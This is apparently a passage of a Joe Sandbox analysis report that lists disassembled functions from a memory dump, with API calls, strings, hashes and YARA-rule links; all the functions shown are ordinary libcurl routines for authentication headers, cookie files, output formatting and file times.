String ID: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider "--output <FILE>" to save to a file.
API String ID: 3196308202-3734715646
Opcode ID: e3350377a6f7c73dfc181a1cca70e5d8f021fd057842d236fba0aa4fd9960057
Instruction ID: 7d4f3eda4b9cb4b0af12ca94918b24ad88cef0d0cc5023a444d166acc43e9f88
Opcode Fuzzy Hash: e3350377a6f7c73dfc181a1cca70e5d8f021fd057842d236fba0aa4fd9960057
Instruction Fuzzy Hash: 914126B5900701AFD312AB21DD09F57BAE9EF84354F0B4538F8489B252E772ED54C7A2

Function 00394A40 Relevance: 24.2, APIs: 1, Strings: 15, Instructions: 242stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00394C13

Strings

Server, xrefs: 00394CD5, 00394CF9
Authorization: Bearer %s, xrefs: 00394D64
Proxy, xrefs: 00394CD0
Bearer, xrefs: 00394D79
%sAuthorization: Basic %s, xrefs: 00394C64
Negotiate, xrefs: 00394B22
%s auth using %s with user '%s', xrefs: 00394CFA
Digest, xrefs: 00394ADF
Proxy-authorization, xrefs: 00394B82
Proxy-, xrefs: 00394C53
Basic, xrefs: 00394CA7
Authorization, xrefs: 00394B5B
%s:%s, xrefs: 00394BF7
NTLM, xrefs: 00394B42
Authorization:, xrefs: 00394D35

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen
String ID: %s auth using %s with user '%s'$%s:%s$%sAuthorization: Basic %s$Authorization$Authorization:$Authorization: Bearer %s$Basic$Bearer$Digest$NTLM$Negotiate$Proxy$Proxy-$Proxy-authorization$Server
API String ID: 39653677-3980008082
Opcode ID: 7e55bfb30dc1ec817a5d161663a165dd8f4056e18fc5ace44048a86b668103b2
Instruction ID: 15ac817189fea21bf8467fa05ed7c36ba977b4a425f131c11613d790288b9785
Opcode Fuzzy Hash: 7e55bfb30dc1ec817a5d161663a165dd8f4056e18fc5ace44048a86b668103b2
Instruction Fuzzy Hash: E3813470604306AFEB229F24DC84BB776E5EB81305F08843CED598A252E7B5DC59CB91

Function 0039192B Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 251filestringCOMMON

Download Yara Rule

APIs

time.MSVCRT(00000000), ref: 00391952
strcmp.MSVCRT ref: 00391A78
fopen.MSVCRT ref: 00391A8A
fwrite.MSVCRT ref: 00391B02
qsort.MSVCRT ref: 00391B9C

Strings

# Netscape HTTP Cookie File# https://curl.haxx.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk., xrefs: 00391AFD
#HttpOnly_, xrefs: 00391BBB
%s, xrefs: 00391C74
FALSE, xrefs: 00391C0E
TRUE, xrefs: 00391C09, 00391C2B, 00391C4A
%s%s%s%s%s%s%I64d%s%s, xrefs: 00391C5C
unknown, xrefs: 00391BFC

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: fopenfwriteqsortstrcmptime
String ID: # Netscape HTTP Cookie File# https://curl.haxx.se/docs/http-cookies.html# This file was generated by libcurl! Edit at your own risk.$#HttpOnly_$%s$%s%s%s%s%s%s%I64d%s%s$FALSE$TRUE$unknown
API String ID: 489802191-4155909777
Opcode ID: 1593a4b4c6b3e5a50997cc94452ed5da61baa0c9f0ff40f15fba133ca87e2499
Instruction ID: 1dff4c841f221f9d5f8bc1981faea5635e6c6369b05c17883ceda1563f04de00
Opcode Fuzzy Hash: 1593a4b4c6b3e5a50997cc94452ed5da61baa0c9f0ff40f15fba133ca87e2499
Instruction Fuzzy Hash: 7D81D4B1A043019FDB159F18D885A1BBBE5EF95304F094828F989AB212E771DC94CBD2

Function 00371620 Relevance: 21.4, APIs: 6, Strings: 6, Instructions: 363filestringCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 0037166A
strchr.MSVCRT ref: 00371695
fputc.MSVCRT ref: 00371787
fputc.MSVCRT ref: 003717A2

Strings

%.0f, xrefs: 00371843
curl: unknown --write-out variable: '%s', xrefs: 003716E4
%03ld, xrefs: 003718C5
%ld, xrefs: 00371A25
%.6f, xrefs: 00371946
%.3f, xrefs: 0037188B

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: fputc$fwritestrchr
String ID: %.0f$%.3f$%.6f$%03ld$%ld$curl: unknown --write-out variable: '%s'
API String ID: 3129928417-2797245882
Opcode ID: 5c90d63e3111e7639ba39ff4391ecb5f307114b0aaf6f12bb1c3fe1c5686a063
Instruction ID: 9f5ab12337792bc331e0ab2e56c1b410638e35fe81b926f8cb95f5acf783f89f
Opcode Fuzzy Hash: 5c90d63e3111e7639ba39ff4391ecb5f307114b0aaf6f12bb1c3fe1c5686a063
Instruction Fuzzy Hash: D2B1D077508345BAD7329A48CC41FBBBBADAB45780F14C82AFD8D82181E378D954A763

Function 0036D996 Relevance: 21.2, APIs: 3, Strings: 9, Instructions: 219COMMON

Download Yara Rule

APIs

Part of subcall function 00370260: strcmp.MSVCRT ref: 0037029F
Part of subcall function 00370260: strcmp.MSVCRT ref: 003702B5
Part of subcall function 00370260: strcmp.MSVCRT ref: 003702CB
Part of subcall function 00370260: strcmp.MSVCRT ref: 003702E1
Part of subcall function 00370260: strcmp.MSVCRT ref: 003702F7
Part of subcall function 00370260: strcmp.MSVCRT ref: 0037030D
Part of subcall function 00370260: strcmp.MSVCRT ref: 00370323
Part of subcall function 00370260: strcmp.MSVCRT ref: 00370339

fclose.MSVCRT ref: 0036AF92
free.MSVCRT ref: 0036B116
free.MSVCRT ref: 0036B12A
_close.MSVCRT ref: 0036B145
fflush.MSVCRT ref: 0036DCB1
_fileno.MSVCRT ref: 0036DCC0
fseek.MSVCRT ref: 0036DCF2
free.MSVCRT ref: 0036E274

Strings

RP7:, xrefs: 0036DBB2
\Z, xrefs: 0036DB7F
curl: Saved to filename '%s', xrefs: 0036DB7A
Transient problem: %s Will retry in %ld seconds. %ld retries left., xrefs: 0036DC17
CURLOPT_HAPPY_EYEBALLS_TIMEOUT_MS, xrefs: 0036D9E4
CURLOPT_DISALLOW_USERNAME_IN_URL, xrefs: 0036DA52
CURLOPT_TFTP_NO_OPTIONS, xrefs: 0036D9AA
CURLOPT_HAPROXYPROTOCOL, xrefs: 0036DA1B
Throwing away %I64d bytes, xrefs: 0036DC96

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strcmp$free$_close_filenofclosefflushfseek
String ID: CURLOPT_DISALLOW_USERNAME_IN_URL$CURLOPT_HAPPY_EYEBALLS_TIMEOUT_MS$CURLOPT_HAPROXYPROTOCOL$CURLOPT_TFTP_NO_OPTIONS$RP7:$Throwing away %I64d bytes$Transient problem: %s Will retry in %ld seconds. %ld retries left.$curl: Saved to filename '%s'$\Z
API String ID: 462954383-1622027912
Opcode ID: e2a8849c12c8f2d1c1d868709dfbd42a58d53abaf5dca801291bf12dba62766e
Instruction ID: 50bd0dceb580523e69aa0ccccc5e7ad7348105edc6c39b546f3e8013cea0f728
Opcode Fuzzy Hash: e2a8849c12c8f2d1c1d868709dfbd42a58d53abaf5dca801291bf12dba62766e
Instruction Fuzzy Hash: 4D919F71B08341AFE726DB58C845B6BB7E5AF90704F15C82CF5889B2A6E7B5DC40CB42

Function 00371370 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 180stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00371386
malloc.MSVCRT ref: 00371394
memcpy.MSVCRT(00000000,00000001,00000001), ref: 003713CC
strtoul.MSVCRT ref: 00371420

Strings

internal error: invalid pattern type (%d), xrefs: 00371594
%0*lu, xrefs: 003714F6

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: mallocmemcpystrlenstrtoul
String ID: %0*lu$internal error: invalid pattern type (%d)
API String ID: 1264475146-449433499
Opcode ID: a3a86168b359ca7a8c17abf6f14cd88a3ed28308f99afdc5cfa7eec15f338f6c
Instruction ID: ff5186e9a2c5593f9fe8d1a53b56775778f6ec3bd2618bed40b66c59d552420c
Opcode Fuzzy Hash: a3a86168b359ca7a8c17abf6f14cd88a3ed28308f99afdc5cfa7eec15f338f6c
Instruction Fuzzy Hash: 0551F7B79083449BD725DF29C88566BB7F9ABC5304F05882CF98A8B342E735D900C763

Function 00363D30 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 82filetimeCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,00000080,00000007,00000000,00000003,00000000,00000000), ref: 00363D4E
GetFileTime.KERNEL32(00000000,00000000,00000000), ref: 00363D63
fwrite.MSVCRT ref: 00363D8E
GetLastError.KERNEL32 ref: 00363D98
GetLastError.KERNEL32 ref: 00363DAD
fprintf.MSVCRT ref: 00363DBA
GetLastError.KERNEL32 ref: 00363DCE
fprintf.MSVCRT ref: 00363DDB
CloseHandle.KERNEL32(00000000), ref: 00363E10

Strings

Failed to get filetime: GetFileTime failed: GetLastError %u, xrefs: 00363DD5
Failed to get filetime: underflow, xrefs: 00363D89
Failed to get filetime: CreateFile failed: GetLastError %u, xrefs: 00363DB4

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: ErrorLast$Filefprintf$CloseCreateHandleTimefwrite
String ID: Failed to get filetime: CreateFile failed: GetLastError %u$Failed to get filetime: GetFileTime failed: GetLastError %u$Failed to get filetime: underflow
API String ID: 2990661452-2112902429
Opcode ID: e3a90f9211d123d4a662e747f48c306250a405817990d1f3a2e21ca6f7c56866
Instruction ID: fbad30dda01a457b0f09de7e10a21b57ec8b23c3e00184dd4b2abb53b6fd5072
Opcode Fuzzy Hash: e3a90f9211d123d4a662e747f48c306250a405817990d1f3a2e21ca6f7c56866
Instruction Fuzzy Hash: 20213AB27403007BE62126289C4BF2A3B5EEB85735F244324FA79DA2D5EA655D114336

Function 0037A7F0 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0037A841
_errno.MSVCRT ref: 0037A9E5
_errno.MSVCRT ref: 0037ABAA
strcpy.MSVCRT(?,?), ref: 0037ABBC
strlen.MSVCRT ref: 0037AC02
strcpy.MSVCRT(?,?), ref: 0037AC1A
strlen.MSVCRT ref: 0037AC23
_errno.MSVCRT ref: 0037AC41
_errno.MSVCRT ref: 0037AC49

Strings

%lx, xrefs: 0037AB63
%d.%d.%d.%d, xrefs: 0037A830, 0037ABF1

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: _errno$strlen$strcpy
String ID: %d.%d.%d.%d$%lx
API String ID: 4259186295-1067823383
Opcode ID: 32b455d309f2b140a5cb8197576d1874cefcd2d3d1b47182d959a594c966797f
Instruction ID: 537d6aade991a55b4b2a9d99644d275f4a2d5756ff8c65a8bb796d8910bd3c9f
Opcode Fuzzy Hash: 32b455d309f2b140a5cb8197576d1874cefcd2d3d1b47182d959a594c966797f
Instruction Fuzzy Hash: E9B11831604B509BDB3A5A288CD036E76D6ABC2335F2AC73CE4B9421D1E77C8C458793

Function 005E7B50 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 259memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32 ref: 005E7C69

Strings

Unknown pseudo relocation bit size %d., xrefs: 005E7CF9
Unknown pseudo relocation protocol version %d., xrefs: 005E7DC4

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 2d734619d1a9d8154778cae2e6eb6291923cd98f3c98bcab15eb6baeffd15558
Instruction ID: f1e34ac7e8183e410bad2df55b7c6122dec8047602b7d097656314d9cb4516c0
Opcode Fuzzy Hash: 2d734619d1a9d8154778cae2e6eb6291923cd98f3c98bcab15eb6baeffd15558
Instruction Fuzzy Hash: 41A1F870A082898FDB18DF79C58436E7FA5FF88314F248A59D5D887391D375DC418B51

Function 00368FF0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 173stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00368FFC
_strdup.MSVCRT ref: 00369021
free.MSVCRT ref: 00369037
free.MSVCRT ref: 00369051
strpbrk.MSVCRT ref: 0036906F
malloc.MSVCRT ref: 0036907D
strcspn.MSVCRT ref: 003690B6
strncpy.MSVCRT ref: 003690C7

Strings

pkcs11:, xrefs: 0036900E

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: free$_strdupmallocstrcspnstrlenstrncpystrpbrk
String ID: pkcs11:
API String ID: 2132323148-2446828420
Opcode ID: c4fa5914db98605ce026ac123923a2c10c41ef70492de649cb2832c5df2fc166
Instruction ID: 939a05beee1aff9d129349980a401ffed8e1787fb48c81c6a89adba755cbdab0
Opcode Fuzzy Hash: c4fa5914db98605ce026ac123923a2c10c41ef70492de649cb2832c5df2fc166
Instruction Fuzzy Hash: C4512DE09083969FD7226B654C4933ABBECAF56300F29442EE9C58B206F775DC40D3A2

Function 0036A603 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 122stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00370620: strlen.MSVCRT ref: 0037063E
Part of subcall function 00370620: malloc.MSVCRT ref: 0037064A
Part of subcall function 00370620: calloc.MSVCRT ref: 0037066B
Part of subcall function 00370620: malloc.MSVCRT ref: 0037095D

free.MSVCRT ref: 0036A201
fclose.MSVCRT ref: 0036A233
free.MSVCRT ref: 0036A24C
strcmp.MSVCRT ref: 0036A63A
_strdup.MSVCRT(00000000), ref: 0036E127
_strdup.MSVCRT(00000000), ref: 0036E152
strcmp.MSVCRT ref: 0036E18E
free.MSVCRT ref: 0036E1D3
free.MSVCRT ref: 0036E274
free.MSVCRT ref: 0036E305
free.MSVCRT ref: 0036E32F
free.MSVCRT ref: 0036E341
free.MSVCRT ref: 0036E353

Part of subcall function 00371040: free.MSVCRT ref: 00371094
Part of subcall function 00371040: free.MSVCRT ref: 003710AF
Part of subcall function 00371040: free.MSVCRT ref: 003710CE

Strings

P"-, xrefs: 0036E318
t,hY|`, xrefs: 0036A632

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: free$_strdupmallocstrcmp$callocfclosestrlen
String ID: P"-$t,hY|`
API String ID: 2566626035-3108484904
Opcode ID: 9c8014532ce6978309f2ebbc6044d72a79b004c7ec958703a29c16dd3b9ce06f
Instruction ID: cc27644980c7a7f3b47a9e430d723131fd0e8007d1060140caae47f119149e5b
Opcode Fuzzy Hash: 9c8014532ce6978309f2ebbc6044d72a79b004c7ec958703a29c16dd3b9ce06f
Instruction Fuzzy Hash: F74183F56043409BEB259B61D845B5BF7E5BF80304F158C2DE89AA7251E735E808CB53

Function 00363E30 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 74filetimeCOMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00363E62
CreateFileA.KERNEL32(?,00000100,00000007,00000000,00000003,00000000,00000000,?,?), ref: 00363E7F
SetFileTime.KERNEL32(00000000,00000000), ref: 00363EB6
GetLastError.KERNEL32 ref: 00363EC0
fprintf.MSVCRT ref: 00363ECF
CloseHandle.KERNEL32(00000000), ref: 00363ED8
GetLastError.KERNEL32 ref: 00363EE6
fprintf.MSVCRT ref: 00363EF5

Strings

Failed to set filetime %I64d on outfile: overflow, xrefs: 00363E5C
Failed to set filetime %I64d on outfile: SetFileTime failed: GetLastError %u, xrefs: 00363EC9
Failed to set filetime %I64d on outfile: CreateFile failed: GetLastError %u, xrefs: 00363EEF

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: fprintf$ErrorFileLast$CloseCreateHandleTime
String ID: Failed to set filetime %I64d on outfile: CreateFile failed: GetLastError %u$Failed to set filetime %I64d on outfile: SetFileTime failed: GetLastError %u$Failed to set filetime %I64d on outfile: overflow
API String ID: 1024183469-2649542943
Opcode ID: d135564e80f4b5dc9323e3a42fb041d20f289a6cde757593f78029f78607dd9a
Instruction ID: 1fa4285baf6220d97816086166702f7a3d70bbd6f596084a212cbd68f855f6c6
Opcode Fuzzy Hash: d135564e80f4b5dc9323e3a42fb041d20f289a6cde757593f78029f78607dd9a
Instruction Fuzzy Hash: 5E117AF27443047BD6243B25DC4AF7B3E6CEB86714F054518FA4DE92D1E166694043B2

Function 00390E80 Relevance: 18.0, APIs: 8, Strings: 2, Instructions: 493stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00390CF0: strlen.MSVCRT ref: 00390D2D

time.MSVCRT(00000000), ref: 00390EAF
strchr.MSVCRT ref: 0039103A
strlen.MSVCRT ref: 00391072
strncmp.MSVCRT ref: 00391086
strlen.MSVCRT ref: 0039110C
strlen.MSVCRT ref: 0039111A
strlen.MSVCRT ref: 00391191
qsort.MSVCRT ref: 0039132A

Strings

/, xrefs: 00391049
., xrefs: 0039114C

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen$qsortstrchrstrncmptime
String ID: .$/
API String ID: 2091720637-2544594439
Opcode ID: 55e81275c38d1c60f15a7825883dd18dfa4bf32e80084777d4f17ace4c921113
Instruction ID: 7640b30ce68b9324a88c55f8566052983fba0ffae127939a7045e44dff459a94
Opcode Fuzzy Hash: 55e81275c38d1c60f15a7825883dd18dfa4bf32e80084777d4f17ace4c921113
Instruction Fuzzy Hash: 44F1D8B0610242AFEF169F25DDC961677B4BF10348F094438FD8ADA221E771ED68DB92

Function 005E8DB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 204COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 005E8DD7

Strings

-, xrefs: 005E8F86
$, xrefs: 005E8DD0

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
